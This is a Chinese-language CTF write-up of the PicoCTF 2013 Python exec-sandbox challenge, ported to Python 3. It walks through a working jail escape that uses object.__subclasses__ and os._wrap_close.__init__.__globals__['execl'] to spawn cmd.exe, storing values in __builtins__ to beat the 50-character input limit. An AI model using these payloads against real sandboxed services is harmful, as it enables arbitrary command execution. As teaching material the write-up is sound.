这有一段很简短的 Python 代码。首先说明这段代码是有漏洞的,所以奇技淫巧的并不是它。
这段代码的主要作用是 想要 提供一个安全的沙盒环境,可以安全地调用 exec。Python 中的 exec 能够动态执行 Python 代码,但是很显然如果直接把用户的输入传进 exec,是有非常大的安全隐患的。为了确保安全,这段代码做了这些事:
- 从 sys 中清除当前已导入的模块
- 只保留几个必要的函数
- 清除默认导入的 builtins 模块的
- 限制输入长度为 50 个字符
这样似乎就只能执行一些基本的算数操作了。
#!/usr/bin/python -u
# task5.py
# A real challenge for those python masters out there :)
# 为 exec 创造一个安全的环境
# 删除当前已加载的模块
from sys import modules
modules.clear()
del modules
# 保留这几个必要的函数和类型
_print = print
_exec = exec
_raw_input = input
_BaseException = BaseException
_EOFError = EOFError
# 清空默认导入的 builtins 模块
__builtins__.__dict__.clear()
__builtins__ = None
# 挑衅!!
_print('Get a shell, if you can...')
while 1:
try:
d = {'x': None}
_exec('x='+_raw_input(">> ")[:50], d)
_print('Return Value:', d['x'])
except _EOFError as e:
raise e
except _BaseException as e:
_print('Exception:', e)现在奇技淫巧开始:假设我们使用的 Python 解释器是 CPython 3.10,你能构造一段输入,绕过这些安全措施,打开一个 Windows 命令行或者 Linux Shell 吗?
感兴趣的话建议自己尝试一下,如果想直接知道答案的话,可以直接往下翻 ↓
<hr/>这道题目来自于 PicoCTF 2013。PicoCTF 是卡耐基梅隆大学主办的、以 Capture The Flag 方式为主的计算机安全竞赛。所谓 Capture The Flag,是指出题人在有漏洞的程序的某处放置一个隐藏的标志,参赛选手必须找出系统的漏洞、突破各种限制,最终获取到隐藏标志,即为得分。
原题目是 Python 2 版本的,我按照 Python 3 的语法稍微改了一下。在 CPython 3.8 和 3.10 上仍然可以获得 Shell,不过解题方式与原题 Python 2 的版本有所不同。
那我们就来看一下,到底如何构造一段输入文本,才能获取到系统 Shell?
首先随便输点东西试试:
PS D:\> python .\eval53.py
Get a shell, if you can...
>> 1
Return Value: 1
>> 1 + 1
Return Value: 2
>> 3 * 14
Return Value: 42
>> [1] * 5
Return Value: [1, 1, 1, 1, 1]执行这些基本的 Python 语句还是没有问题的。那么为了执行 cmd.exe 或是 /bin/bash,最直接的办法就是用 os 模块了。直接导入一下试试:
>> import os
Exception: invalid syntax (<string>, line 1)
>> __import__(&#34;os&#34;)
Exception: name &#39;__import__&#39; is not defined直接用 import os 肯定不行,因为代码中把他跟 &#34;x=&#34; 拼接了一下,变成了 &#34;x= import os&#34;,存在语法错误。用内置的 __import__ 试一下也不行,因为已经被提前删掉了。
大路被堵死,只好另辟蹊径了。Python 有很强大的反射机制,可以获取到很多看似拿不到的东西,比如:
>> &#34;&#34;.__dir__()
Return Value: [&#39;__new__&#39;, &#39;__repr__&#39;, &#39;__hash__&#39;, &#39;__str__&#39;, &#39;__getattribute__&#39;, &#39;__lt__&#39;, &#39;__le__&#39;, &#39;__eq__&#39;, &#39;__ne__&#39;, &#39;__gt__&#39;, &#39;__ge__&#39;, &#39;__iter__&#39;, &#39;__mod__&#39;, &#39;__rmod__&#39;, &#39;__len__&#39;, &#39;__getitem__&#39;, &#39;__add__&#39;, &#39;__mul__&#39;, &#39;__rmul__&#39;, &#39;__contains__&#39;, &#39;encode&#39;, &#39;replace&#39;, &#39;split&#39;, &#39;rsplit&#39;, &#39;join&#39;, &#39;capitalize&#39;, &#39;casefold&#39;, &#39;title&#39;, &#39;center&#39;, &#39;count&#39;, &#39;expandtabs&#39;, &#39;find&#39;, &#39;partition&#39;, &#39;index&#39;, &#39;ljust&#39;, &#39;lower&#39;, &#39;lstrip&#39;, &#39;rfind&#39;, &#39;rindex&#39;, &#39;rjust&#39;, &#39;rstrip&#39;, &#39;rpartition&#39;, &#39;splitlines&#39;, &#39;strip&#39;, &#39;swapcase&#39;, &#39;translate&#39;, &#39;upper&#39;, &#39;startswith&#39;, &#39;endswith&#39;, &#39;removeprefix&#39;, &#39;removesuffix&#39;, &#39;isascii&#39;, &#39;islower&#39;, &#39;isupper&#39;, &#39;istitle&#39;, &#39;isspace&#39;, &#39;isdecimal&#39;, &#39;isdigit&#39;, &#39;isnumeric&#39;, &#39;isalpha&#39;, &#39;isalnum&#39;, &#39;isidentifier&#39;, &#39;isprintable&#39;, &#39;zfill&#39;, &#39;format&#39;, &#39;format_map&#39;, &#39;__format__&#39;, &#39;maketrans&#39;, &#39;__sizeof__&#39;, &#39;__getnewargs__&#39;, &#39;__doc__&#39;, &#39;__setattr__&#39;, &#39;__delattr__&#39;, &#39;__init__&#39;, &#39;__reduce_ex__&#39;, &#39;__reduce__&#39;, &#39;__subclasshook__&#39;, &#39;__init_subclass__&#39;, &#39;__dir__&#39;, &#39;__class__&#39;]我们通过 &#34;&#34;.__class__,能够获取到 Python 中的字符串类型对象 class str。打印一下它的 __dict__,看看有没有什么可以利用的信息:
>> &#34;&#34;.__class__.__dict__
Return Value: {&#39;__new__&#39;: <built-in method __new__ of type object at 0x00007FFCB5E2BC60>, &#39;__repr__&#39;: <slot wrapper &#39;__repr__&#39; of &#39;str&#39; objects>, &#39;__hash__&#39;: <slot wrapper &#39;__hash__&#39; of &#39;str&#39; objects>, &#39;__str__&#39;: <slot wrapper &#39;__str__&#39; of &#39;str&#39; objects>, &#39;__getattribute__&#39;: <slot wrapper &#39;__getattribute__&#39; of &#39;str&#39; objects>, &#39;__lt__&#39;: <slot wrapper &#39;__lt__&#39; of &#39;str&#39; objects>, &#39;__le__&#39;: <slot wrapper &#39;__le__&#39; of &#39;str&#39; objects>, &#39;__eq__&#39;: <slot wrapper &#39;__eq__&#39; of &#39;str&#39; objects>, &#39;__ne__&#39;: <slot wrapper &#39;__ne__&#39; of &#39;str&#39; objects>, &#39;__gt__&#39;: <slot wrapper &#39;__gt__&#39; of &#39;str&#39; objects>, &#39;__ge__&#39;: <slot wrapper &#39;__ge__&#39; of &#39;str&#39; objects>, &#39;__iter__&#39;: <slot wrapper &#39;__iter__&#39; of &#39;str&#39; objects>, &#39;__mod__&#39;: <slot wrapper &#39;__mod__&#39; of &#39;str&#39; objects>, &#39;__rmod__&#39;: <slot wrapper &#39;__rmod__&#39; of &#39;str&#39; objects>, &#39;__len__&#39;: <slot wrapper &#39;__len__&#39; of &#39;str&#39; objects>, &#39;__getitem__&#39;: <slot wrapper &#39;__getitem__&#39; of &#39;str&#39; objects>, &#39;__add__&#39;: <slot wrapper &#39;__add__&#39; of &#39;str&#39; objects>, &#39;__mul__&#39;: <slot wrapper &#39;__mul__&#39; of &#39;str&#39; objects>, &#39;__rmul__&#39;: <slot wrapper &#39;__rmul__&#39; of &#39;str&#39; objects>, &#39;__contains__&#39;: <slot wrapper &#39;__contains__&#39; of &#39;str&#39; objects>, &#39;encode&#39;: <method &#39;encode&#39; of &#39;str&#39; objects>, &#39;replace&#39;: <method &#39;replace&#39; of &#39;str&#39; objects>, &#39;split&#39;: <method &#39;split&#39; of &#39;str&#39; objects>, &#39;rsplit&#39;: <method &#39;rsplit&#39; of &#39;str&#39; objects>, &#39;join&#39;: <method &#39;join&#39; of &#39;str&#39; objects>, &#39;capitalize&#39;: <method &#39;capitalize&#39; of &#39;str&#39; objects>, &#39;casefold&#39;: <method &#39;casefold&#39; of &#39;str&#39; objects>, &#39;title&#39;: <method &#39;title&#39; of &#39;str&#39; objects>, &#39;center&#39;: <method &#39;center&#39; of &#39;str&#39; objects>, &#39;count&#39;: <method &#39;count&#39; of &#39;str&#39; objects>, &#39;expandtabs&#39;: <method &#39;expandtabs&#39; of &#39;str&#39; objects>, &#39;find&#39;: <method &#39;find&#39; of &#39;str&#39; objects>, &#39;partition&#39;: <method &#39;partition&#39; of &#39;str&#39; objects>, &#39;index&#39;: <method &#39;index&#39; of &#39;str&#39; objects>, &#39;ljust&#39;: <method &#39;ljust&#39; of &#39;str&#39; objects>, &#39;lower&#39;: <method &#39;lower&#39; of &#39;str&#39; objects>, &#39;lstrip&#39;: <method &#39;lstrip&#39; of &#39;str&#39; objects>, &#39;rfind&#39;: <method &#39;rfind&#39; of &#39;str&#39; objects>, &#39;rindex&#39;: <method &#39;rindex&#39; of &#39;str&#39; objects>, &#39;rjust&#39;: <method &#39;rjust&#39; of &#39;str&#39; objects>, &#39;rstrip&#39;: <method &#39;rstrip&#39; of &#39;str&#39; objects>, &#39;rpartition&#39;: <method &#39;rpartition&#39; of &#39;str&#39; objects>, &#39;splitlines&#39;: <method &#39;splitlines&#39; of &#39;str&#39; objects>, &#39;strip&#39;: <method &#39;strip&#39; of &#39;str&#39; objects>, &#39;swapcase&#39;: <method &#39;swapcase&#39; of &#39;str&#39; objects>, &#39;translate&#39;: <method &#39;translate&#39; of &#39;str&#39; objects>, &#39;upper&#39;: <method &#39;upper&#39; of &#39;str&#39; objects>, &#39;startswith&#39;: <method &#39;startswith&#39; of &#39;str&#39; objects>, &#39;endswith&#39;: <method &#39;endswith&#39; of &#39;str&#39; objects>, &#39;removeprefix&#39;: <method &#39;removeprefix&#39; of &#39;str&#39; objects>, &#39;removesuffix&#39;: <method &#39;removesuffix&#39; of &#39;str&#39; objects>, &#39;isascii&#39;: <method &#39;isascii&#39; of &#39;str&#39; objects>, &#39;islower&#39;: <method &#39;islower&#39; of &#39;str&#39; objects>, &#39;isupper&#39;: <method &#39;isupper&#39; of &#39;str&#39; objects>, &#39;istitle&#39;: <method &#39;istitle&#39; of &#39;str&#39; objects>, &#39;isspace&#39;: <method &#39;isspace&#39; of &#39;str&#39; objects>, &#39;isdecimal&#39;: <method &#39;isdecimal&#39; of &#39;str&#39; objects>, &#39;isdigit&#39;: <method &#39;isdigit&#39; of &#39;str&#39; objects>, &#39;isnumeric&#39;: <method &#39;isnumeric&#39; of &#39;str&#39; objects>, &#39;isalpha&#39;: <method &#39;isalpha&#39; of &#39;str&#39; objects>, &#39;isalnum&#39;: <method &#39;isalnum&#39; of &#39;str&#39; objects>, &#39;isidentifier&#39;: <method &#39;isidentifier&#39; of &#39;str&#39; objects>, &#39;isprintable&#39;: <method &#39;isprintable&#39; of &#39;str&#39; objects>, &#39;zfill&#39;: <method &#39;zfill&#39; of &#39;str&#39; objects>, &#39;format&#39;: <method &#39;format&#39; of &#39;str&#39; objects>, &#39;format_map&#39;: <method &#39;format_map&#39; of &#39;str&#39; objects>, &#39;__format__&#39;: <method &#39;__format__&#39; of &#39;str&#39; objects>, &#39;maketrans&#39;: <staticmethod(<built-in method maketrans of type object at 0x00007FFCB5E2BC60>)>, &#39;__sizeof__&#39;: <method &#39;__sizeof__&#39; of &#39;str&#39; objects>, &#39;__getnewargs__&#39;: <method &#39;__getnewargs__&#39; of &#39;str&#39; objects>, &#39;__doc__&#39;: &#34;str(object=&#39;&#39;) -> str\nstr(bytes_or_buffer[, encoding[, errors]]) -> str\n\nCreate a new string object from the given object. If encoding or\nerrors is specified, then the object must expose a data buffer\nthat will be decoded using the given encoding and error handler.\nOtherwise, returns the result of object.__str__() (if defined)\nor repr(object).\nencoding defaults to sys.getdefaultencoding().\nerrors defaults to &#39;strict&#39;.&#34;}从功能上讲这里没什么可以直接利用的信息,毕竟都是些字符串操作。那么我们继续往上找,看一下父类。str 的父类就是 object 了,打印一下 __dict__,似乎也没什么可以利用的。
>> &#34;&#34;.__class__.__base__.__dict__
Return Value: {&#39;__new__&#39;: <built-in method __new__ of type object at 0x00007FFCB5E2B780>, &#39;__repr__&#39;: <slot wrapper &#39;__repr__&#39; of &#39;object&#39; objects>, &#39;__hash__&#39;: <slot wrapper &#39;__hash__&#39; of &#39;object&#39; objects>, &#39;__str__&#39;: <slot wrapper &#39;__str__&#39; of &#39;object&#39; objects>, &#39;__getattribute__&#39;: <slot wrapper &#39;__getattribute__&#39; of &#39;object&#39; objects>, &#39;__setattr__&#39;: <slot wrapper &#39;__setattr__&#39; of &#39;object&#39; objects>, &#39;__delattr__&#39;: <slot wrapper &#39;__delattr__&#39; of &#39;object&#39; objects>, &#39;__lt__&#39;: <slot wrapper &#39;__lt__&#39; of &#39;object&#39; objects>, &#39;__le__&#39;: <slot wrapper &#39;__le__&#39; of &#39;object&#39; objects>, &#39;__eq__&#39;: <slot wrapper &#39;__eq__&#39; of &#39;object&#39; objects>, &#39;__ne__&#39;: <slot wrapper &#39;__ne__&#39; of &#39;object&#39; objects>, &#39;__gt__&#39;: <slot wrapper &#39;__gt__&#39; of &#39;object&#39; objects>, &#39;__ge__&#39;: <slot wrapper &#39;__ge__&#39; of &#39;object&#39; objects>, &#39;__init__&#39;: <slot wrapper &#39;__init__&#39; of &#39;object&#39; objects>, &#39;__reduce_ex__&#39;: <method &#39;__reduce_ex__&#39; of &#39;object&#39; objects>, &#39;__reduce__&#39;: <method &#39;__reduce__&#39; of &#39;object&#39; objects>, &#39;__subclasshook__&#39;: <method &#39;__subclasshook__&#39; of &#39;object&#39; objects>, &#39;__init_subclass__&#39;: <method &#39;__init_subclass__&#39; of &#39;object&#39; objects>, &#39;__format__&#39;: <method &#39;__format__&#39; of &#39;object&#39; objects>, &#39;__sizeof__&#39;: <method &#39;__sizeof__&#39; of &#39;object&#39; objects>, &#39;__dir__&#39;: <method &#39;__dir__&#39; of &#39;object&#39; objects>, &#39;__class__&#39;: <attribute &#39;__class__&#39; of &#39;object&#39; objects>, &#39;__doc__&#39;: &#39;The base class of the class hierarchy.\n\nWhen called, it accepts no arguments and returns a new featureless\ninstance that has no instance attributes and cannot be given any.\n&#39;}
不过注意到 Built-in Types - Python 3.10.2 documentation 中提到:
__subclasses__ 能够获取到一个类的所有子类。需要注意的是这个函数并不在我们刚才的__dict__ 列表里面,因为它属于由 CPython 提供的只读属性,这种属性不一定会由 dir 显示出来。
那么在 object 上试一下的话…
>> &#34;&#34;.__class__.__base__.__subclasses__()
顿时多了好多类!然而挨个看过去,没有一个是直接跟模块导入或是进程创建相关的。
再次注意到 inspect - Inspect live objects - Python 3.10.2 documentation 中提到:
注意高亮的部分,function 中有一个 __globals__ 保存了函数定义时全局空间中的信息,这里很可能有我们需要的模块。这个属性在其他类型上是没有的,比如我们之前已经拿到的 class 、method、slot wrapper 上都是不存在的。那么现在就变成了,怎么从上面那些 class 里面找一个 function 定义出来?写一段脚本来找吧:
# 与题目一致的初始设定
from sys import modules
modules.clear()
del modules
_print = print
_repr = repr
_cls = object.__subclasses__()
_Exception = Exception
__builtins__.__dict__.clear()
__builtins__ = None
for cls in _cls:
for m in cls.__dict__:
if _repr(cls.__dict__[m]).startswith(&#34;<function&#34;):
for k in cls.__dict__[m].__globals__:
try:
_print(cls.__dict__[m], k, cls.__dict__[m].__globals__[k])
except _Exception as e:
_print(&#34;err&#34;, e)这段脚本会遍历所有的 object.__subclasses__,从中找到 function 类型的实例,并把它的 __globals__ 中的内容遍历打印出来。需要注意的是,由于我们的 __builtins__ 里面缺失了一些基本的内置函数,__globals__ 中有一些值是拿不出来的。
结果有点长我就不贴了,从结果里看虽然没有我们想要的 os 模块,但是有一个类型是 os 模块导出的,叫做 _wrap_close。在这个类型中,_wrap_close.__init__ 函数的 __globals__ 里面有非常关键的 execl/execp 函数!这下连导入 os 模块都不需要了。_wrap_close 是 object.__subclasses__ 里的第 138 项,所以:
>> &#34;&#34;.__class__.__base__.__subclasses__()[138].__init__.__globals__[&#39;execl&#39;](&#34;c:\\windows\\system32\\cmd.exe&#34;, &#34;c:\\windows\\system32\\cmd.exe&#34;)
Exception: type object &#39;_wrap_close&#39; has no attribute &#39;__init&#39;看来事情没这么简单,我们遇到了 50 个字符的长度限制。有什么办法能够解决这个问题吗?
再次注意到文档中 Built-in Functions — Python 3.10.2 documentation 关于 exec 的描述:
代码中传入的 globals 参数(也就是 d)没有设置 __builtins__ 的值:
d = {&#39;x&#39;:None}
_exec(&#39;x=&#39;+_raw_input(&#34;>> &#34;)[:50], d)所以它应该一直指向 builtins 模块的 __dict__,也就是说两次 exec 之间,d[&#34;__builtins__&#34;] 会一直保存下来!再看一下代码中的这两句:
__builtins__.__dict__.clear()
__builtins__ = None__builtins__ 在主模块中默认直接指向的就是 bultins 模块,虽然它将 builtins.__dict__ 清空了,但是这个 dict 本身是无法删掉的。虽然将 __builtins__ 置为了 None,但也不影响 builtins.__dict__。所以我们可以利用 __builtins__ 存储变量。来试一下:
PS E:\> python .\eval53.py
Get a shell, if you can...
>> __builtins__
Return Value: {}
>> a
Exception: name &#39;a&#39; is not defined
>> __builtins__[&#34;a&#34;] = 1
Return Value: 1
>> a
Return Value: 1
>>可以看到我们确实可以利用 __builtins__ 来存储中间变量,以此达到缩短输入字符串长度的问题。最终结果:
>> __builtins__[&#34;a&#34;]=&#34;&#34;.__class__.__base__
Return Value: <class &#39;object&#39;>
>> __builtins__[&#34;b&#34;]=a.__subclasses__()[138]
Return Value: <class &#39;os._wrap_close&#39;>
>> __builtins__[&#34;c&#34;]=&#34;c:\\windows\\system32\\cmd.exe&#34;
Return Value: c:\windows\system32\cmd.exe
>> b.__init__.__globals__[&#39;execl&#39;](c, c)
PS E:\> Microsoft Windows [Version 10.0.19042.1165]
(c) Microsoft Corporation. All rights reserved.
E:\>
https://www.zhihu.com/video/1487452248641335296
大功告成。如果大家感兴趣,也可以找一下原题,在 Python 2 上试一试,解题的方式与 Python 3 有所不同。
欢迎踏入 CTF 的世界!
<hr/>对了忘记说了,PicoCTF 是主要面向高中生的比赛。
|